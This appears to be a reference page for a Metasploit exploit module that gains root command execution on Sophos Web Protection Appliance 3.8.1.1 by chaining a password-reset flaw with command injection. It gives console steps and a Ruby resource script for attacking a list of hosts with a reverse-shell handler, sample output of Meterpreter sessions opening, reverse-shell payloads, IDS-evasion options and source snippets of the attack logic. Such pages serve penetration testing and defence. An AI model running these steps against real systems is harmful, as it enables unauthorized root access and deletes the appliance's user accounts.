Sophos Web Protection Appliance Interface Authenticated Arbitrary Command Execution - Metasploit
This page contains detailed information about how to use the exploit/linux/http/sophos_wpa_iface_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Sophos Web Protection Appliance Interface Authenticated Arbitrary Command Execution
Module: exploit/linux/http/sophos_wpa_iface_exec
Source code: modules/exploits/linux/http/sophos_wpa_iface_exec.rb
Disclosure date: 2014-04-08
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2014-2849, CVE-2014-2850
This module takes advantage of two vulnerabilities in order to gain remote code execution as root as an otherwise non-privileged authorized user. By taking advantage of a mass assignment vulnerability that allows an unprivileged authenticated user to change the administrator's password hash, the module updates the password to login as the admin to reach the second vulnerability. No server-side sanitization is done on values passed when configuring a static network interface. This allows an administrator user to run arbitrary commands in the context of the web application, which is root when configuring the network interface. This module will inadvertently delete any other users that may have been present as a side effect of changing the admin's password.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using sophos_wpa_iface_exec against a single host
Normally, you can use exploit/linux/http/sophos_wpa_iface_exec this way:
msf > use exploit/linux/http/sophos_wpa_iface_exec
msf exploit(sophos_wpa_iface_exec) > show targets
... a list of targets ...
msf exploit(sophos_wpa_iface_exec) > set TARGET target-id
msf exploit(sophos_wpa_iface_exec) > show options
... show and set options ...
msf exploit(sophos_wpa_iface_exec) > exploit
Using sophos_wpa_iface_exec against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your sophos_wpa_iface_exec will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/http/sophos_wpa_iface_exec")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
USERNAME: The username to authenticate as
PASSWORD: The password to authenticate with
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Msfconsole Usage
Here is how the linux/http/sophos_wpa_iface_exec exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/sophos_wpa_iface_exec
msf6 exploit(linux/http/sophos_wpa_iface_exec) > show info
Name: Sophos Web Protection Appliance Interface Authenticated Arbitrary Command Execution
Module: exploit/linux/http/sophos_wpa_iface_exec
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2014-04-08
Provided by:
Brandon Perry <[email protected]>
Available targets:
Id Name
-- ----
0 Sophos Web Protection Appliance 3.8.1.1
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The target URI
USERNAME yes The username to authenticate as
VHOST no HTTP server virtual host
Payload information:
Space: 500
Avoid: 0 characters
Description:
This module takes advantage of two vulnerabilities in order to gain
remote code execution as root as an otherwise non-privileged
authorized user. By taking advantage of a mass assignment
vulnerability that allows an unprivileged authenticated user to
change the administrator's password hash, the module updates the
password to login as the admin to reach the second vulnerability. No
server-side sanitization is done on values passed when configuring a
static network interface. This allows an administrator user to run
arbitrary commands in the context of the web application, which is
root when configuring the network interface. This module will
inadvertently delete any other users that may have been present as a
side effect of changing the admin's password.
References:
https://nvd.nist.gov/vuln/detail/CVE-2014-2849
https://nvd.nist.gov/vuln/detail/CVE-2014-2850
http://www.zerodayinitiative.com/advisories/ZDI-14-069/
Module Options
This is a complete list of options available in the linux/http/sophos_wpa_iface_exec exploit:
msf6 exploit(linux/http/sophos_wpa_iface_exec) > show options
Module options (exploit/linux/http/sophos_wpa_iface_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The target URI
USERNAME yes The username to authenticate as
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Sophos Web Protection Appliance 3.8.1.1
Advanced Options
Here is a complete list of advanced options supported by the linux/http/sophos_wpa_iface_exec exploit:
msf6 exploit(linux/http/sophos_wpa_iface_exec) > show advanced
Module advanced options (exploit/linux/http/sophos_wpa_iface_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/sophos_wpa_iface_exec module can exploit:
msf6 exploit(linux/http/sophos_wpa_iface_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Sophos Web Protection Appliance 3.8.1.1
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/sophos_wpa_iface_exec exploit:
msf6 exploit(linux/http/sophos_wpa_iface_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
1 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
2 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
3 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/sophos_wpa_iface_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/sophos_wpa_iface_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Could not connect to host
Here is a relevant code snippet related to the "Could not connect to host" error message:
73: init = send_request_cgi({
74: 'uri' => normalize_uri(target_uri.path, 'index.php')
75: })
76:
77: if !init or !init.body
78: fail_with(Failure::Unreachable, "Could not connect to host")
79: end
80:
81: print_status("Getting STYLE key...")
82:
83: style = ''
Could not find style key.
Here is a relevant code snippet related to the "Could not find style key." error message:
85: next if line !~ /name="STYLE" value="(.*)"/
86: style = $1
87: end
88:
89: if style == ''
90: fail_with(Failure::UnexpectedReply, "Could not find style key.")
91: end
92:
93: post = {
94: 'STYLE' => style,
95: 'destination' => '',
Authentication failed
Here is a relevant code snippet related to the "Authentication failed" error message:
108: 'c' => 'login',
109: }
110: })
111:
112: if !login or login.code != 200 or login.body !~ /#{datastore['USERNAME']}<\/a>/
113: fail_with(Failure::NoAccess, "Authentication failed")
114: end
115:
116: #I don't know what salt is being used to hash these
117: #passwords (probably in js somewhere), so I have
118: #to use a static one that I saw being POSTed while
Couldn't update admin's password
Here is a relevant code snippet related to the "Couldn't update admin's password" error message:
145: 'c' => 'change_password'
146: }
147: })
148:
149: if !passchange or passchange.code != 200
150: fail_with(Failure::UnexpectedReply, "Couldn't update admin's password")
151: end
152:
153: print_status("Logging in as the admin now")
154: init = send_request_cgi({
155: 'uri' => normalize_uri(target_uri.path, 'index.php')
Couldn't reget index page for admin auth
Here is a relevant code snippet related to the "Couldn't reget index page for admin auth" error message:
154: init = send_request_cgi({
155: 'uri' => normalize_uri(target_uri.path, 'index.php')
156: })
157:
158: if !init or init.code != 200
159: fail_with(Failure::UnexpectedReply, "Couldn't reget index page for admin auth")
160: end
161:
162: init.body.each_line do |line|
163: next if line !~ /name="STYLE" value="(.*)"/
164: style = $1
Couldn't login as admin
Here is a relevant code snippet related to the "Couldn't login as admin" error message:
180: 'c' => 'login',
181: }
182: })
183:
184: if !login or login.code != 200 or login.body !~ /admin<\/a>/
185: fail_with(Failure::NoAccess, "Couldn't login as admin")
186: end
187:
188: pay = Rex::Text.uri_encode(Rex::Text.encode_base64(payload.encoded))
189: post = {
190: 'STYLE' => style,
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10299 Merged Pull Request: Add 88 CVEs to various auxiliary and exploit modules
- #8888 Merged Pull Request: spelling/grammar fixes part 1
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5181 Merged Pull Request: Fix #5103, Revert unwanted URI encoding
- #5173 Merged Pull Request: fix fail_with errors
- #3391 Merged Pull Request: Resolved all msftidy vars_get warnings
- #3208 Merged Pull Request: Sophos Web Appliance Privilege Escalation and Remote Code Execution Vulnerability
References
See Also
Check also the following modules related to this module:
- auxiliary/admin/http/sophos_wpa_traversal
- exploit/linux/http/sophos_utm_webadmin_sid_cmd_injection
- exploit/linux/http/sophos_wpa_sblistpack_exec
- exploit/linux/local/sophos_wpa_clear_keys
- auxiliary/server/wpad
Authors
- Brandon Perry <bperry.volatile[at]gmail.com>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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